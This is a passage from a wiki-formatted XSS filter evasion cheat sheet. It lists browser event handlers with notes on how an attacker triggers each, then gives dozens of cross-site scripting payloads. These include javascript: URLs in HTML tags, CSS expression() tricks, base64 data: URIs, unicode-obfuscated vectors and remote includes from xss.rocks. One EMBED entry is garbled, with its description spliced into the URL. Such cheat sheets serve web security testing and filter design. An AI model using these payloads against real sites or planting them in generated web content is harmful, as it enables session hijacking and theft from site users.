# &amp;lt;code&amp;gt;onControlSelect()&amp;lt;/code&amp;gt; (fires when the user is about to make a control selection of the object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCopy()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Copy&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onCut()&amp;lt;/code&amp;gt; (user needs to copy something or it can be exploited using the &amp;lt;code&amp;gt;execCommand(&amp;quot;Cut&amp;quot;)&amp;lt;/code&amp;gt; command)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataAvailable()&amp;lt;/code&amp;gt; (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetChanged()&amp;lt;/code&amp;gt; (fires when the data set exposed by a data source object changes)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDataSetComplete()&amp;lt;/code&amp;gt; (fires to indicate that all data is available from the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDblClick()&amp;lt;/code&amp;gt; (user double-clicks a form element or a link)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDeactivate()&amp;lt;/code&amp;gt; (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrag()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnd()&amp;lt;/code&amp;gt; (requires that the user drags an object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragLeave()&amp;lt;/code&amp;gt; (requires that the user drags an object off a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragEnter()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragOver()&amp;lt;/code&amp;gt; (requires that the user drags an object into a valid location)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDragStart()&amp;lt;/code&amp;gt; (occurs when user starts drag operation)&lt;br /&gt;
# &amp;lt;code&amp;gt;onDrop()&amp;lt;/code&amp;gt; (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
# &amp;lt;code&amp;gt;onEnd()&amp;lt;/code&amp;gt; (the onEnd event fires when the timeline ends.    &lt;br /&gt;
# &amp;lt;code&amp;gt;onError()&amp;lt;/code&amp;gt; (loading of a document or image causes an error)&lt;br /&gt;
# &amp;lt;code&amp;gt;onErrorUpdate()&amp;lt;/code&amp;gt; (fires on a databound object when an error occurs while updating the associated data in the data source object)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFilterChange()&amp;lt;/code&amp;gt; (fires when a visual filter completes state change)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFinish()&amp;lt;/code&amp;gt; (attacker can create the exploit when marquee is finished looping)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocus()&amp;lt;/code&amp;gt; (attacker executes the attack string when the window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusIn()&amp;lt;/code&amp;gt; (attacker executes the attack string when window gets focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onFocusOut()&amp;lt;/code&amp;gt; (attacker executes the attack string when window looses focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHashChange()&amp;lt;/code&amp;gt; (fires when the fragment identifier part of the document's current address changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onHelp()&amp;lt;/code&amp;gt; (attacker executes the attack string when users hits F1 while the window is in focus)&lt;br /&gt;
# &amp;lt;code&amp;gt;onInput()&amp;lt;/code&amp;gt; (the text content of an element is changed through the user interface)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyDown()&amp;lt;/code&amp;gt; (user depresses a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyPress()&amp;lt;/code&amp;gt; (user presses or holds down a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onKeyUp()&amp;lt;/code&amp;gt; (user releases a key)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLayoutComplete()&amp;lt;/code&amp;gt; (user would have to print or print preview)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoad()&amp;lt;/code&amp;gt; (attacker executes the attack string after the window loads)&lt;br /&gt;
# &amp;lt;code&amp;gt;onLoseCapture()&amp;lt;/code&amp;gt; (can be exploited by the &amp;lt;code&amp;gt;releaseCapture()&amp;lt;/code&amp;gt; method)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaComplete()&amp;lt;/code&amp;gt; (When a streaming media file is used, this event could fire before the file starts playing)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMediaError()&amp;lt;/code&amp;gt; (User opens a page in the browser that contains a media file, and the event fires when there is a problem)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMessage()&amp;lt;/code&amp;gt; (fire when the document received a message)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseDown()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseEnter()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseLeave()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseMove()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOut()&amp;lt;/code&amp;gt; (the attacker would need to get the user to mouse over an image or table and then off again)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseOver()&amp;lt;/code&amp;gt; (cursor moves over an object or area)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseUp()&amp;lt;/code&amp;gt; (the attacker would need to get the user to click on an image)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMouseWheel()&amp;lt;/code&amp;gt; (the attacker would need to get the user to use their mouse wheel)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMove()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveEnd()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onMoveStart()&amp;lt;/code&amp;gt; (user or attacker would move the page)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOffline()&amp;lt;/code&amp;gt; (occurs if the browser is working in online mode and it starts to work offline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOnline()&amp;lt;/code&amp;gt; (occurs if the browser is working in offline mode and it starts to work online)&lt;br /&gt;
# &amp;lt;code&amp;gt;onOutOfSync()&amp;lt;/code&amp;gt; (interrupt the element's ability to play its media as defined by the timeline)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPaste()&amp;lt;/code&amp;gt; (user would need to paste or attacker could use the &amp;lt;code&amp;gt;execCommand(&amp;quot;Paste&amp;quot;)&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPause()&amp;lt;/code&amp;gt; (the onpause event fires on every element that is active when the timeline pauses, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPopState()&amp;lt;/code&amp;gt; (fires when user navigated the session history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onProgress()&amp;lt;/code&amp;gt; (attacker would use this as a flash movie was loading)&lt;br /&gt;
# &amp;lt;code&amp;gt;onPropertyChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReadyStateChange()&amp;lt;/code&amp;gt; (user or attacker would need to change an element property)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRedo()&amp;lt;/code&amp;gt; (user went forward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRepeat()&amp;lt;/code&amp;gt; (the event fires once for each repetition of the timeline, excluding the first full cycle)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReset()&amp;lt;/code&amp;gt; (user or attacker resets a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResize()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeEnd()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResizeStart()&amp;lt;/code&amp;gt; (user would resize the window; attacker could auto initialize with something like: &amp;lt;code&amp;gt;&amp;lt;SCRIPT&amp;gt;self.resizeTo(500,400);&amp;lt;/SCRIPT&amp;gt;&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onResume()&amp;lt;/code&amp;gt; (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)&lt;br /&gt;
# &amp;lt;code&amp;gt;onReverse()&amp;lt;/code&amp;gt; (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowsEnter()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowExit()&amp;lt;/code&amp;gt; (user or attacker would need to change a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowDelete()&amp;lt;/code&amp;gt; (user or attacker would need to delete a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onRowInserted()&amp;lt;/code&amp;gt; (user or attacker would need to insert a row in a data source)&lt;br /&gt;
# &amp;lt;code&amp;gt;onScroll()&amp;lt;/code&amp;gt; (user would need to scroll, or attacker could use the &amp;lt;code&amp;gt;scrollBy()&amp;lt;/code&amp;gt; function)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSeek()&amp;lt;/code&amp;gt; (the onreverse event fires when the timeline is set to play in any direction other than forward)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelect()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectionChange()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSelectStart()&amp;lt;/code&amp;gt; (user needs to select some text - attacker could auto initialize with something like: &amp;lt;code&amp;gt;window.document.execCommand(&amp;quot;SelectAll&amp;quot;);&amp;lt;/code&amp;gt;)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStart()&amp;lt;/code&amp;gt; (fires at the beginning of each marquee loop)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStop()&amp;lt;/code&amp;gt; (user would need to press the stop button or leave the webpage)&lt;br /&gt;
# &amp;lt;code&amp;gt;onStorage()&amp;lt;/code&amp;gt; (storage area changed)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSyncRestored()&amp;lt;/code&amp;gt; (user interrupts the element's ability to play its media as defined by the timeline to fire)&lt;br /&gt;
# &amp;lt;code&amp;gt;onSubmit()&amp;lt;/code&amp;gt; (requires attacker or user submits a form)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTimeError()&amp;lt;/code&amp;gt; (user or attacker sets a time property, such as dur, to an invalid value)&lt;br /&gt;
# &amp;lt;code&amp;gt;onTrackChange()&amp;lt;/code&amp;gt; (user or attacker changes track in a playList)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUndo()&amp;lt;/code&amp;gt; (user went backward in undo transaction history)&lt;br /&gt;
# &amp;lt;code&amp;gt;onUnload()&amp;lt;/code&amp;gt; (as the user clicks any link or presses the back button or attacker forces a click)&lt;br /&gt;
# &amp;lt;code&amp;gt;onURLFlip()&amp;lt;/code&amp;gt; (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)&lt;br /&gt;
# &amp;lt;code&amp;gt;seekSegmentTime()&amp;lt;/code&amp;gt; (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)&lt;br /&gt;
&lt;br /&gt;
== BGSOUND ==&lt;br /&gt;
 &amp;lt;BGSOUND SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &amp;amp; JavaScript includes ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BR SIZE=&amp;quot;&amp;amp;{alert('XSS')}&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
== STYLE sheet ==&lt;br /&gt;
 &amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet ==&lt;br /&gt;
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;LINK REL=&amp;quot;stylesheet&amp;quot; HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.css&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 2 ==&lt;br /&gt;
This works the same as above, but uses a &amp;lt;STYLE&amp;gt; tag instead of a &amp;lt;LINK&amp;gt; tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end &amp;lt;/STYLE&amp;gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@import'http://xss.rocks/xss.css';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 3 ==&lt;br /&gt;
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &amp;lt;nowiki&amp;gt;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet)&amp;lt;/nowiki&amp;gt; and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Link&amp;quot; Content=&amp;quot;&amp;lt;http://xss.rocks/xss.css&amp;gt;; REL=stylesheet&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote style sheet part 4 ==&lt;br /&gt;
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xssmoz.xml#xss&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tags with broken up JavaScript for XSS ==&lt;br /&gt;
This XSS at times sends IE into an infinite loop of alerts:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&amp;quot;XSS&amp;quot;)';&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE attribute using a comment to break up expression ==&lt;br /&gt;
Created by Roman Ivanov &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG STYLE=&amp;quot;xss:expr/*XSS*/ession(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMG STYLE with expression ==&lt;br /&gt;
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;exp/*&amp;lt;A STYLE='no\xss:noxss(&amp;quot;*//*&amp;quot;);&lt;br /&gt;
xss:&amp;amp;#101;x&amp;amp;#x2F;*XSS*//*/*/pression(alert(&amp;quot;XSS&amp;quot;))'&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag (Older versions of Netscape only)==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE TYPE=&amp;quot;text/javascript&amp;quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background-image ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STYLE tag using background ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;STYLE type=&amp;quot;text/css&amp;quot;&amp;gt;BODY{background:url(&amp;quot;javascript:alert('XSS')&amp;quot;)}&amp;lt;/STYLE&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anonymous HTML with STYLE attribute ==&lt;br /&gt;
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XSS STYLE=&amp;quot;xss:expression(alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Local htc file == &lt;br /&gt;
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:&lt;br /&gt;
 &amp;lt;XSS STYLE=&amp;quot;behavior: url(xss.htc);&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== US-ASCII encoding == &lt;br /&gt;
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. &lt;br /&gt;
&lt;br /&gt;
 ¼script¾alert(¢XSS¢)¼/script¾&lt;br /&gt;
&lt;br /&gt;
== META ==&lt;br /&gt;
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META using data ===&lt;br /&gt;
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== META with additional URL parameter ===&lt;br /&gt;
If the target website attempts to see if the URL contains &amp;quot;http:&amp;amp;#47;&amp;amp;#47;&amp;quot; at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot; CONTENT=&amp;quot;0; URL=http://;URL=javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME  ==&lt;br /&gt;
If iframes are allowed there are a lot of other XSS problems as well:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IFRAME Event based ==&lt;br /&gt;
IFrames and most other elements can use event based mayhem like the following... &lt;br /&gt;
(Submitted by: David Cross)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IFRAME SRC=# onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== FRAME ==&lt;br /&gt;
Frames have the same sorts of XSS problems as iframes&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== TABLE ==&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TD ===&lt;br /&gt;
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DIV ==&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image with unicoded XSS exploit ===&lt;br /&gt;
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;DIV STYLE=&amp;quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&amp;quot;&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV background-image plus extra characters ===&lt;br /&gt;
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DIV expression === &lt;br /&gt;
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and &amp;quot;expression&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;DIV STYLE=&amp;quot;width: expression(alert('XSS'));&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Downlevel-Hidden block ==&lt;br /&gt;
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--[if gte IE 4]&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;lt;![endif]--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BASE tag ==&lt;br /&gt;
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &amp;quot;images/image.jpg&amp;quot; rather than full paths. If the path includes a leading forward slash like &amp;quot;/images/image.jpg&amp;quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;BASE HREF=&amp;quot;javascript:alert('XSS');//&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OBJECT tag ==&lt;br /&gt;
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;OBJECT TYPE=&amp;quot;text/x-scriptlet&amp;quot; DATA=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/scriptlet.html&amp;quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using an EMBED tag you can embed a Flash movie that contains XSS ==&lt;br /&gt;
Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;EMBED SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess=&amp;quot;never&amp;quot; and allownetworking=&amp;quot;internal&amp;quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info).:&lt;br /&gt;
org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
